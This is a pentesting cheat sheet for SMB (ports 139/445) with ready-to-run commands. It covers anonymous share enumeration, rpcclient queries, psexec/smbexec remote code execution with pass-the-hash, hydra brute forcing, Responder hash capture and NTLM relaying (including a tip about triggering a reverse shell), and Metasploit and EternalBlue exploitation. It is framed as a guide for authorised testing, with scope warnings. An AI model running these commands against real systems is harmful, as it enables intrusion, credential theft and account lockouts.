> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 139 & 445 - SMB (Server Message Block)

`Default Ports: 139 (NetBIOS), 445 (SMB over TCP)`

SMB is the backbone of file sharing and authentication in Windows networks, which makes it one of the highest-value services to enumerate on almost any internal engagement. A huge amount of Active Directory attack surface, shares, users, password policy, even remote code execution, sits behind this one protocol.

> **Null / Anonymous Session**
>
> No credentials at all. Plenty of SMB servers still allow a null session for basic enumeration, worth checking before anything else.

> **Authenticated**
>
> A valid username and password, or an NTLM hash via pass-the-hash. Opens up share access, RCE, and credential dumping depending on privileges.

> [!NOTE]
>
> For spraying credentials and running bulk enumeration across many hosts at once, [NetExec](https://0-x.dev/net-exec.md) covers that ground in more depth. This page focuses on SMB-specific tools and techniques.

***

## Enumerating Shares

The first real step on any SMB target is finding out what shares exist and what you can actually read or write to. A few tools cover this, each with a slightly different strength.

**smbclient**

Always worth trying a null session first, since it costs nothing and plenty of servers still allow it:

```bash theme={null}
smbclient -N -L //TARGET
```

Once you know a share name, connect to it directly. `recurse ON` plus `mget *` pulls everything down in one go instead of browsing file by file:

```bash theme={null}
smbclient //TARGET/SHARE
smb: \> recurse ON
smb: \> mget *
```

**smbmap**

[smbmap](https://github.com/ShawnDEvans/smbmap) lays out share permissions more clearly than smbclient, read/write access per share in one table.

```bash theme={null}
smbmap -H TARGET -r                        # null session, recursive listing
smbmap -H TARGET -u USER -p PASS -r          # authenticated
```

Download and upload work the same way once you've found a writable share:

```bash theme={null}
smbmap -H TARGET --download "SHARE\file"
smbmap -H TARGET --upload LOCAL_FILE "SHARE\file"
```

**enum4linux**

[enum4linux-ng](https://github.com/cddmp/enum4linux-ng) pulls together users, groups, shares, and password policy in one pass, a solid first command to run against any SMB target.

```bash theme={null}
enum4linux -A TARGET
enum4linux -A -u USER -p PASS TARGET
```

**Impacket**

`samrdump.py` enumerates usernames through the SAM remote protocol, useful even without valid credentials in some configurations.

```bash theme={null}
samrdump.py TARGET
```

> **Bulk-checking many anonymous shares at once**
>
> When you've got a list of possible share names to check against a target, this loops through each one and reports which are actually accessible:
>
> ```bash theme={null}
> while read share; do
>   smbclient -N //TARGET/$share -c 'ls' /dev/null 2>&1 && echo "[+] Found accessible share: $share"
> done < shares.txt
> ```

***

## RPCClient

`rpcclient` gives you an interactive session for querying domain and user information directly over MS-RPC, useful when you want specific details rather than a full automated enumeration pass.

```bash theme={null}
rpcclient -U "%" TARGET
```

Once connected, these are the queries worth knowing:

| Command | Description |
| - | - |
| `srvinfo` | Server information |
| `enumdomains` | Enumerate domains deployed on the network |
| `querydominfo` | Domain, server, and user information |
| `enumdomusers` | Enumerate all domain users |
| `queryuser <RID>` | Details on a specific user by RID |
| `querygroup <GID>` | Details on a specific group |
| `netshareenumall` | Enumerate all available shares |
| `netsharegetinfo <share>` | Details on a specific share |

***

## Remote Code Execution

With valid credentials, whether a password or an NTLM hash, SMB becomes a direct path to command execution on the target. Impacket's `psexec.py` is the standard tool for this.

```bash theme={null}
impacket-psexec DOMAIN/USER:PASSWORD@TARGET cmd.exe
impacket-psexec -hashes LMHASH:NTHASH USER@TARGET      # pass-the-hash, no plaintext password needed
```

`smbexec.py` achieves the same thing through a different technique, worth having as a fallback if `psexec` gets flagged:

```bash theme={null}
smbexec.py USER:PASSWORD@TARGET
```

***

## Brute Forcing

```bash theme={null}
hydra -l USER -P passwords.txt smb://TARGET
```

***

## Authentication Attacks

> [!WARNING]
>
> Both of these intercept or relay live authentication traffic on the network. They're far more intrusive than passive enumeration, confirm scope covers active attacks before running either.

Responder listens on the network and catches NTLM hashes from hosts broadcasting authentication requests, often triggered by a mistyped share path or a poisoned LLMNR/NBT-NS response.

```bash theme={null}
sudo responder -I INTERFACE
```

Captured hashes land under `/usr/share/responder/logs/`, ready to crack offline or relay directly instead:

```bash theme={null}
impacket-ntlmrelayx --no-http-server -smb2support -t TARGET
```

> [!TIP]
>
> Add `-c "COMMAND"` to `ntlmrelayx` to execute a command, like launching a reverse shell, on successful relay instead of just dumping hashes.

***

## Nmap Enumeration

```bash theme={null}
nmap -p445 --script smb-protocols TARGET          # supported SMB protocol versions
nmap -p445 --script smb-security-mode TARGET        # signing requirements and security mode
nmap -p445 --script smb-enum-users TARGET             # enumerate users
nmap -sV -sC --script=smb-vuln* TARGET                 # run every SMB vulnerability-check script at once
```

***

## Known RCE Vulnerabilities

A handful of SMB vulnerabilities are common enough, and severe enough, that they're worth checking for on sight rather than waiting for deeper enumeration.

| Vulnerability | Description |
| - | - |
| MS08-067 | Remote code execution in the Windows Server service, still occasionally found on legacy systems |
| MS17-010 (EternalBlue) | SMBv1 remote code execution, the vulnerability behind WannaCry; see [AutoBlue-MS17-010](https://github.com/3ndG4me/AutoBlue-MS17-010) |
| CVE-2020-0796 (SMBGhost) | SMBv3 compression vulnerability, pre-auth RCE on unpatched Windows 10/Server systems |

```bash theme={null}
nmap -p445 --script smb-vuln-ms17-010 TARGET
```

> [!WARNING]
>
> A positive hit on any of these is a critical finding. Confirm it carefully and report immediately rather than continuing to enumerate, especially on EternalBlue, where exploitation can crash the target.

***

## Metasploit Modules

```bash theme={null}
search name:smb                                      # list every SMB-related module
use auxiliary/scanner/smb/smb_version                  # fingerprint the SMB version
use auxiliary/scanner/smb/smb_enumshare                  # enumerate shares
use auxiliary/scanner/smb/smb_login                        # brute-force credentials
use exploit/windows/smb/psexec                               # authenticated RCE
```

***

## Quick Reference Tools

> **[Hackviser: SMB](https://hackviser.com/tactics/pentesting/services/smb)**
>
> Quick-reference pentesting guide for the SMB service.

> **[HackTricks: SMB](https://hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html)**
>
> Deeper breakdown of SMB enumeration, exploitation, and relay techniques.

> [!WARNING]
>
> Credential spraying, hash capture, and NTLM relaying are all high-impact actions that can lock out accounts or disrupt production authentication. Confirm scope before running anything beyond read-only enumeration.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.